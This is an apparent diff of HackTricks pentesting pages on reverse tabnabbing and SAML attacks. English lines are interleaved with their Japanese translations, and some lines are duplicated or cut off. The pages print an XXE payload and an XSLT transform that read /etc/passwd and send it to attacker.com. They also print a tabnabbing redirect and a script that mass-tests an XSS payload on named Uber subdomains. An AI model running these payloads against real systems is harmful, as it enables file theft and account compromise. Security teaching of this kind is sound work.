この動作を悪用する一般的な方法は、`window.opener.location = https://attacker.com/victim.html`を使用して**元のウェブ**の位置を攻撃者が制御するウェブに**変更**することです。これにより、**元のウェブサイト**の**ログイン****フォーム**を**模倣**し、ユーザーに資格情報を要求することができます。
However, note that as the **attacker now can control the window object of the original website** he can abuse it in other ways to perform **stealthier attacks** (maybe modifying javascript events to ex-filtrate info to a server controlled by him?)
ただし、**攻撃者が元のウェブサイトのウィンドウオブジェクトを制御できるため**、他の方法で**より巧妙な攻撃**を行うことができることに注意してくださいもしかしたら、javascriptイベントを変更して彼が制御するサーバーに情報を流出させる
# Overview
# 概要
## With back link
## バックリンクあり
Link between parent and child pages when prevention attribute is not used:
防止属性が使用されていない場合の親ページと子ページ間のリンク:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png)
## Without back link
## バックリンクなし
Link between parent and child pages when prevention attribute is used:
防止属性が使用されている場合の親ページと子ページ間のリンク:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png)
## Examples <a href="#examples" id="examples"></a>
Create the following pages in a folder and run a web server with `python3 -m http.server`\
Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link and note how the **original** **website** **URL** **changes**.
## 例 <a href="#examples" id="examples"></a>
フォルダーに次のページを作成し、`python3 -m http.server`でウェブサーバーを実行します。\
次に、**アクセス** `http://127.0.0.1:8000/`vulnerable.html、**クリック**してリンクをクリックし、**元の****ウェブサイト**の**URL**が**変更**される様子を確認します。
```markup:vulnerable.html
<!DOCTYPE html>
<html>
@ -41,11 +40,11 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link
```markup:malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
@ -57,28 +56,26 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link
</body>
</html>
```
## アクセス可能なプロパティ <a href="#accessible-properties" id="accessible-properties"></a>
## Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
**クロスオリジン** アクセスが発生するシナリオでは(異なるドメイン間のアクセス)、悪意のあるサイトがアクセスできる **opener** JavaScript オブジェクト参照によって指される **window** JavaScript クラスインスタンスのプロパティは以下のように制限されます:
In the scenario where a **cross-origin** access occurs (access across different domains), the properties of the **window** JavaScript class instance, referred to by the **opener** JavaScript object reference, that can be accessed by a malicious site are limited to the following:
- **`opener.closed`**: このプロパティはウィンドウが閉じられたかどうかを判断するためにアクセスされ、ブール値を返します。
- **`opener.frames`**: このプロパティは現在のウィンドウ内のすべての iframe 要素へのアクセスを提供します。
- **`opener.length`**: 現在のウィンドウに存在する iframe 要素の数がこのプロパティによって返されます。
- **`opener.opener`**: このプロパティを通じて現在のウィンドウを開いたウィンドウへの参照を取得できます。
- **`opener.parent`**: このプロパティは現在のウィンドウの親ウィンドウを返します。
- **`opener.self`**: このプロパティは現在のウィンドウ自体へのアクセスを提供します。
- **`opener.top`**: このプロパティは最上位のブラウザウィンドウを返します。
- **`opener.closed`**: This property is accessed to determine if a window has been closed, returning a boolean value.
- **`opener.frames`**: This property provides access to all iframe elements within the current window.
- **`opener.length`**: The number of iframe elements present in the current window is returned by this property.
- **`opener.opener`**: A reference to the window that opened the current window can be obtained through this property.
- **`opener.parent`**: This property returns the parent window of the current window.
- **`opener.self`**: Access to the current window itself is provided by this property.
- **`opener.top`**: This property returns the topmost browser window.
ただし、ドメインが同一である場合、悪意のあるサイトは [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript オブジェクト参照によって公開されているすべてのプロパティにアクセスできます。
However, in instances where the domains are identical, the malicious site gains access to all properties exposed by the [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript object reference.
# 予防
# Prevention
予防情報は [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing) に文書化されています。
Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
## References
## 参考文献
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,32 +1,31 @@
# SAML Attacks
# SAML攻撃
## SAML Attacks
## SAML攻撃
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
{{#ref}}
saml-basics.md
{{#endref}}
## Tool
## ツール
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): A tool that can take a URL or list of URL and prints back SAML consume URL.
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): URLまたはURLのリストを受け取り、SAML消費URLを出力するツールです。
## XML round-trip
## XMLラウンドトリップ
In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**.
For example, check the following code:
XMLでは、XMLの署名された部分がメモリに保存され、その後エンコーディング/デコーディングが行われ、署名がチェックされます。理想的には、そのエンコーディング/デコーディングはデータを変更しないはずですが、そのシナリオに基づくと、**チェックされるデータと元のデータは同じでない可能性があります**。
例えば、次のコードを確認してください:
```ruby
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
@ -34,250 +33,236 @@ puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
Running the program against REXML 3.2.4 or earlier would result in the following output instead:
REXML 3.2.4 以前のバージョンでプログラムを実行すると、代わりに次の出力が得られます:
```
First child in original doc: Y
First child after round-trip: Z
```
This is how REXML saw the original XML document from the program above:
これはREXMLが上記プログラムの元のXMLドキュメントをどのように見たかです
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)
And this is how it saw it after a round of parsing and serialization:
そして、これは解析とシリアル化の一巡後にどのように見えたかです:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
For more information about the vulnerability and how to abuse it:
脆弱性とその悪用方法についての詳細は以下を参照してください:
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## XML Signature Wrapping Attacks
## XML署名ラッピング攻撃
In **XML Signature Wrapping attacks (XSW)**, adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: **signature validation** and **function invocation**. These attacks involve altering the XML document structure. Specifically, the attacker **injects forged elements** that do not compromise the XML Signature's validity. This manipulation aims to create a discrepancy between the elements analyzed by the **application logic** and those checked by the **signature verification module**. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the **fraudulent elements**. Consequently, the attacker effectively bypasses the XML Signature's **integrity protection** and **origin authentication**, enabling the **injection of arbitrary content** without detection.
**XML署名ラッピング攻撃XSW**では、敵対者はXMLドキュメントが**署名検証**と**関数呼び出し**の2つの異なるフェーズを通過する際に発生する脆弱性を悪用します。これらの攻撃はXMLドキュメントの構造を変更することを含みます。具体的には、攻撃者はXML署名の有効性を損なわない**偽造要素**を**注入**します。この操作は、**アプリケーションロジック**によって分析される要素と、**署名検証モジュール**によってチェックされる要素との間に不一致を生じさせることを目的としています。その結果、XML署名は技術的には有効であり、検証を通過しますが、アプリケーションロジックは**不正な要素**を処理します。したがって、攻撃者はXML署名の**整合性保護**と**起源認証**を効果的に回避し、検出されることなく**任意のコンテンツを注入**することができます。
The following attacks ara based on [**this blog post**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **and** [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So check those for further details.
以下の攻撃は[**このブログ記事**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **および** [**この論文**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)に基づいています。詳細についてはそれらを確認してください。
### XSW #1
- **Strategy**: A new root element containing the signature is added.
- **Implication**: The validator may get confused between the legitimate "Response -> Assertion -> Subject" and the attacker's "evil new Response -> Assertion -> Subject", leading to data integrity issues.
- **戦略**: 署名を含む新しいルート要素が追加されます。
- **影響**: 検証者は正当な「Response -> Assertion -> Subject」と攻撃者の「悪意のある新しいResponse -> Assertion -> Subject」を混同する可能性があり、データ整合性の問題を引き起こします。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>)
### XSW #2
- **Difference from XSW #1**: Utilizes a detached signature instead of an enveloping signature.
- **Implication**: The "evil" structure, similar to XSW #1, aims to deceive the business logic post integrity check.
- **XSW #1との違い**: 包含署名の代わりに切り離された署名を利用します。
- **影響**: XSW #1と同様の「悪意のある」構造は、整合性チェック後にビジネスロジックを欺くことを目的としています。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>)
### XSW #3
- **Strategy**: An evil Assertion is crafted at the same hierarchical level as the original assertion.
- **Implication**: Intends to confuse the business logic into using the malicious data.
- **戦略**: 元のアサーションと同じ階層レベルで悪意のあるアサーションが作成されます。
- **影響**: ビジネスロジックを混乱させて悪意のあるデータを使用させることを意図しています。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../images/image (120).png>)
### XSW #4
- **Difference from XSW #3**: The original Assertion becomes a child of the duplicated (evil) Assertion.
- **Implication**: Similar to XSW #3 but alters the XML structure more aggressively.
- **XSW #3との違い**: 元のアサーションが複製された(悪意のある)アサーションの子になります。
- **影響**: XSW #3と似ていますが、XML構造をより攻撃的に変更します。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../images/image (551).png>)
### XSW #5
- **Unique Aspect**: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
- **Implication**: The copied Assertion envelopes the Signature, modifying the expected document structure.
- **ユニークな側面**: 署名も元のアサーションも標準構成(包含/包含する/切り離された)に従っていません。
- **影響**: コピーされたアサーションが署名を包み、期待されるドキュメント構造を変更します。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
### XSW #6
- **Strategy**: Similar location insertion as XSW #4 and #5, but with a twist.
- **Implication**: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.
- **戦略**: XSW #4および#5と同様の位置挿入ですが、ひねりがあります。
- **影響**: コピーされたアサーションが署名を包み、その後元のアサーションを包むことで、入れ子の欺瞞的な構造を作成します。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../images/image (169).png>)
### XSW #7
- **Strategy**: An Extensions element is inserted with the copied Assertion as a child.
- **Implication**: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.
- **戦略**: コピーされたアサーションを子として持つExtensions要素が挿入されます。
- **影響**: Extensions要素の制約が少ないスキーマを利用して、特にOpenSAMLのようなライブラリでスキーマ検証対策を回避します。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)
### XSW #8
- **Difference from XSW #7**: Utilizes another less restrictive XML element for a variant of the attack.
- **Implication**: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.
- **XSW #7との違い**: 攻撃のバリエーションのために別の制約の少ないXML要素を利用します。
- **影響**: 元のアサーションが制約の少ない要素の子になり、XSW #7で使用された構造を逆転させます
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image (541).png>)
### Tool
### ツール
You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it.
Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用して、リクエストを解析し、選択したXSW攻撃を適用し、実行できます。
## XXE
If you don't know which kind of attacks are XXE, please read the following page:
XXE攻撃がどのようなものか知らない場合は、以下のページをお読みください
{{#ref}}
../xxe-xee-xml-external-entity.md
{{#endref}}
SAML Responses are **deflated and base64 encoded XML documents** and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Heres how such an attack can be visualized:
SAMLレスポンスは**圧縮され、base64エンコードされたXMLドキュメント**であり、XML外部エンティティXXE攻撃に対して脆弱である可能性があります。SAMLレスポンスのXML構造を操作することで、攻撃者はXXEの脆弱性を悪用しようとすることができます。このような攻撃がどのように視覚化されるかは次のとおりです
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
## ツール
## Tools
Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用して、SAMLリクエストからPOCを生成し、XXE脆弱性やSAML脆弱性の可能性をテストできます。
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities and SAML vulnerabilities.
このトークもチェックしてください: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## SAML経由のXSLT
## XSLT via SAML
For more information about XSLT go to:
XSLTに関する詳細情報は、以下にアクセスしてください:
{{#ref}}
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
Extensible Stylesheet Language Transformations (XSLT) can be used for transforming XML documents into various formats like HTML, JSON, or PDF. It's crucial to note that **XSLT transformations are performed before the verification of the digital signature**. This means that an attack can be successful even without a valid signature; a self-signed or invalid signature is sufficient to proceed.
Here you can find a **POC** to check for this kind of vulnerabilities, in the hacktricks page mentioned at the beginning of this section you can find for payloads.
拡張スタイルシート言語変換XSLTは、XMLドキュメントをHTML、JSON、PDFなどのさまざまな形式に変換するために使用できます。**XSLT変換はデジタル署名の検証前に行われる**ことに注意することが重要です。これは、攻撃が有効な署名なしでも成功する可能性があることを意味します。自己署名または無効な署名で進行するのに十分です。
ここでは、この種の脆弱性をチェックするための**POC**を見つけることができ、セクションの最初に言及されたhacktricksページでペイロードを見つけることができます。
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
### ツール
### Tool
Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用して、SAMLリクエストからPOCを生成し、XSLTの脆弱性をテストできます。
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XSLT vulnerabilities.
このトークもチェックしてください: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XML署名除外 <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
The **XML Signature Exclusion** observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, **signature validation may not occur**, making it vulnerable. It's possibel to test this by altering the contents that are usually verified by the signature.
**XML署名除外**は、Signature要素が存在しない場合のSAML実装の動作を観察します。この要素が欠けている場合、**署名の検証が行われない可能性があり**、脆弱性を持つことになります。署名によって通常検証される内容を変更することで、これをテストすることが可能です。
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
### ツール <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercept the SAML Response and click `Remove Signatures`. In doing so **all** Signature elements are removed.
Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用できます。SAMLレスポンスを傍受し、`Remove Signatures`をクリックします。これにより、**すべての**署名要素が削除されます。
With the signatures removed, allow the request to proceed to the target. If the Signature isnt required by the Service
署名が削除された状態で、リクエストをターゲットに進めます。サービスによって署名が必要ない場合
## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
## 証明書の偽造 <a href="#certificate-faking" id="certificate-faking"></a>
## Certificate Faking
## 証明書の偽造
Certificate Faking is a technique to test if a **Service Provider (SP) properly verifies that a SAML Message is signed** by a trusted Identity Provider (IdP). It involves using a \***self-signed certificate** to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.
証明書の偽造は、**サービスプロバイダーSPがSAMLメッセージが信頼されたアイデンティティプロバイダーIdPによって署名されていることを適切に検証するかどうかをテストする技術**です。これは、SAMLレスポンスまたはアサーションに対して\***自己署名証明書**を使用して署名することを含み、SPとIdP間の信頼検証プロセスを評価するのに役立ちます。
### How to Conduct Certificate Faking
### 証明書の偽造を実施する方法
The following steps outline the process using the [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp extension:
以下の手順は、[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp拡張機能を使用したプロセスを概説します:
1. Intercept the SAML Response.
2. If the response contains a signature, send the certificate to SAML Raider Certs using the `Send Certificate to SAML Raider Certs` button.
3. In the SAML Raider Certificates tab, select the imported certificate and click `Save and Self-Sign` to create a self-signed clone of the original certificate.
4. Go back to the intercepted request in Burps Proxy. Select the new self-signed certificate from the XML Signature dropdown.
5. Remove any existing signatures with the `Remove Signatures` button.
6. Sign the message or assertion with the new certificate using the **`(Re-)Sign Message`** or **`(Re-)Sign Assertion`** button, as appropriate.
7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.
1. SAMLレスポンスを傍受します。
2. レスポンスに署名が含まれている場合、`Send Certificate to SAML Raider Certs`ボタンを使用して証明書をSAML Raider Certsに送信します。
3. SAML Raiderの証明書タブで、インポートした証明書を選択し、`Save and Self-Sign`をクリックして元の証明書の自己署名クローンを作成します。
4. Burpのプロキシで傍受したリクエストに戻ります。XML署名のドロップダウンから新しい自己署名証明書を選択します。
5. `Remove Signatures`ボタンを使用して既存の署名を削除します。
6. 適切に**`(Re-)Sign Message`**または**`(Re-)Sign Assertion`**ボタンを使用して、新しい証明書でメッセージまたはアサーションに署名します。
7. 署名されたメッセージを転送します。成功した認証は、SPが自己署名証明書で署名されたメッセージを受け入れることを示し、SAMLメッセージの検証プロセスに潜在的な脆弱性があることを明らかにします。
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
## トークン受信者の混乱 / サービスプロバイダーターゲットの混乱 <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.
トークン受信者の混乱とサービスプロバイダーターゲットの混乱は、**サービスプロバイダーが応答の意図された受信者を正しく検証するかどうかを確認すること**を含みます。基本的に、サービスプロバイダーは、異なるプロバイダー向けの認証応答を拒否する必要があります。ここでの重要な要素は、SAMLレスポンスの**SubjectConfirmationData**要素内にある**Recipient**フィールドです。このフィールドは、アサーションが送信されるべきURLを指定します。実際の受信者が意図されたサービスプロバイダーと一致しない場合、アサーションは無効と見なされるべきです。
#### **How It Works**
#### **動作の仕組み**
For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.
The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.
SAMLトークン受信者の混乱SAML-TRC攻撃が実行可能であるためには、特定の条件が満たされる必要があります。まず、サービスプロバイダーSP-Legitに有効なアカウントが存在する必要があります。次に、ターゲットとするサービスプロバイダーSP-Targetは、SP-Legitにサービスを提供する同じアイデンティティプロバイダーからのトークンを受け入れる必要があります。
これらの条件下で攻撃プロセスは簡単です。共有アイデンティティプロバイダーを介してSP-Legitとの間で認証セッションが開始されます。アイデンティティプロバイダーからSP-LegitへのSAMLレスポンスが傍受されます。この傍受されたSAMLレスポンスは、元々SP-Legit向けであったものがSP-Targetにリダイレクトされます。この攻撃の成功は、SP-Targetがアサーションを受け入れ、SP-Legitで使用されたのと同じアカウント名のリソースへのアクセスを許可することによって測定されます。
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
```
## ログアウト機能におけるXSS
## XSS in Logout functionality
The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
During the process of directory brute forcing, a logout page was discovered at:
元の研究は[このリンク](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)からアクセスできます。
ディレクトリブルートフォースの過程で、次の場所にログアウトページが発見されました:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
Upon accessing this link, a redirection occurred to:
このリンクにアクセスすると、リダイレクトが発生しました:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
これは、`base`パラメータがURLを受け入れることを明らかにしました。これを考慮して、XSSクロスサイトスクリプティング攻撃を開始する試みとして、URLを`javascript:alert(123);`に置き換えるアイデアが浮かびました。
This revealed that the `base` parameter accepts a URL. Considering this, the idea emerged to substitute the URL with `javascript:alert(123);` in an attempt to initiate an XSS (Cross-Site Scripting) attack.
### 大規模な悪用
### Mass Exploitation
[From this research](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
The [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) tool was used to analyze subdomains of `uberinternal.com` for domains utilizing the same library. Subsequently, a script was developed to target the `oidauth/prompt` page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it's reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.
[この研究から](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor)ツールを使用して、同じライブラリを利用している`uberinternal.com`のサブドメインを分析しました。その後、`oidauth/prompt`ページをターゲットにするスクリプトが開発されました。このスクリプトは、データを入力して出力に反映されるかどうかを確認することでXSSクロスサイトスクリプティングをテストします。入力が実際に反映される場合、スクリプトはそのページを脆弱であるとフラグ付けします。
```python
import requests
import urllib3
@ -286,17 +271,16 @@ from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```
## References
## 参考文献
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
@ -304,4 +288,3 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList:
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,168 +1,161 @@
{{#include ../../banners/hacktricks-training.md}}
# SAML Overview
# SAML 概要
**Security Assertion Markup Language (SAML)** enables identity providers (IdP) to be utilized for sending authorization credentials to service providers (SP), facilitating single sign-on (SSO). This approach simplifies the management of multiple logins by allowing a single set of credentials to be used across multiple websites. It leverages XML for standardized communication between IdPs and SPs, linking the authentication of user identity with service authorization.
**Security Assertion Markup Language (SAML)** は、アイデンティティプロバイダー (IdP) がサービスプロバイダー (SP) に認証情報を送信するために利用され、シングルサインオン (SSO) を促進します。このアプローチは、複数のウェブサイトで単一の認証情報セットを使用できるようにすることで、複数のログインの管理を簡素化します。IdP と SP の間の標準化された通信のために XML を活用し、ユーザーのアイデンティティの認証とサービスの認可をリンクします。
## Comparison between SAML and OAuth
## SAML と OAuth の比較
